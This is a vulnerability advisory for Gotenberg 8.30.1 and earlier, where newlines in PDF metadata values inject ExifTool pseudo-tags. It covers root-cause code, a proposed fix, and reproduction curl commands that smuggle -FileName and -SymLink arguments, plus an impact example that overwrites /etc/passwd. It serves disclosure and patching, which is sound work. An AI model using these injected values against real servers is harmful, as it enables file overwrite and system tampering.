Gotenberg vulnerable to argument injection via newlines in ExifTool metadata values

Gotenberg is a Docker-powered stateless API for PDF files. In versions 8.30.1 and earlier, the metadata write endpoint validates metadata keys for control characters but leaves metadata values unsanitized. A newline character in a metadata value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, and -HardLink. This is a bypass of the incomplete key-sanitization fix introduced in v8.30.1. An unauthenticated attacker can rename or move any PDF being processed to an arbitrary path in the container filesystem, overwrite arbitrary files, or create symlinks and hard links at arbitrary paths.

Problem type

CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

Affected products

gotenberg

gotenberg

<= 8.30.1 - AFFECTED

References

https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q

https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q

x_refsource_CONFIRM

https://github.com/gotenberg/gotenberg/commit/405f1069c026bb08f319fb5a44e5c67c33208318

https://github.com/gotenberg/gotenberg/commit/405f1069c026bb08f319fb5a44e5c67c33208318

x_refsource_MISC

GitHub Security Advisories

GHSA-q7r4-hc83-hf2q

Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix)

https://github.com/advisories/GHSA-q7r4-hc83-hf2q

Vulnerability Details

CWE: CWE-20 - Improper Input Validation

The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.

Summary

The metadata write endpoint in v8.30.1 validates metadata keys for control characters (commit 405f106) but leaves metadata values unsanitized. go-exiftool's WriteMetadata sends each key/value pair to ExifTool's stdin as:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

A \n character in str splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of -FileName, -Directory, -SymLink, -HardLink, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent.

Root Cause

pkg/modules/exiftool/exiftool.go — WriteMetadata() function:

// KEY validation added in v8.30.1 (commit 405f106)
for key := range metadata {
    if !safeKeyPattern.MatchString(key) {  // ← only keys checked
        return fmt.Errorf(...)
    }
}

// VALUE passed through unsanitized:
case string:
    fileMetadata[0].SetString(key, val)  // ← val may contain \n

go-exiftool (barasher/go-exiftool) then writes:

fmt.Fprintln(e.stdin, "-"+k+"="+str)
// If str = "test\n-FileName=/tmp/inject_proof"
// ExifTool receives two lines:
//   -Title=test
//   -FileName=/tmp/inject_proof

Steps to Reproduce

1. Start Gotenberg:
   docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8

2. Create a test PDF:
   curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
     -o test.pdf http://localhost:3001/forms/chromium/convert/html \
     <<< '<html><body>test</body></html>'

3. Inject -FileName via value newline:
   curl -s -w "\nHTTP %{http_code}" \
     -F 'files=@test.pdf;type=application/pdf' \
     -F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   # Returns HTTP 404 (file moved away from temp path)

4. Verify injection inside container:
   docker exec gotenberg-test ls -la /tmp/inject_proof
   # -rw-r--r-- 1 root root ... /tmp/inject_proof  (PDF moved here)

5. Symlink injection:
   curl -s -w "\nHTTP %{http_code}" \
     -F 'files=@test.pdf;type=application/pdf' \
     -F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   docker exec gotenberg-test ls -la /tmp/sym_inject
   # lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf

Impact

An unauthenticated attacker can:

Rename/move any PDF being processed to an arbitrary path in the container filesystem (running as root by default)
Overwrite arbitrary files — e.g., -Directory=/etc/ -FileName=passwd injects two lines, moving the PDF to /etc/passwd, corrupting the system user database
Create symlinks at arbitrary paths via -SymLink=, enabling subsequent read/write primitives
Create hard links via -HardLink=, persisting data beyond temp directory cleanup

This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the = sign.

Proposed Fix

Add value sanitization parallel to the existing key check in WriteMetadata:

for key, value := range metadata {
    if !safeKeyPattern.MatchString(key) {
        return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
    }
    if str, ok := value.(string); ok {
        if strings.ContainsAny(str, "\n\r\x00") {
            return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key)
        }
    }
}

Or, apply the same safeKeyPattern logic to string values, or percent-encode newlines before passing to go-exiftool.

Vulnerable Code

// See description for details

Steps to Reproduce

Set up the application using the default configuration
See the vulnerability details above

Impact

This vulnerability may allow an attacker to compromise the application.

github.com

https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q

github.com

https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0

github.com

https://github.com/advisories/GHSA-q7r4-hc83-hf2q

JSON source

https://cveawg.mitre.org/api/cve/CVE-2026-40281

Click to expand

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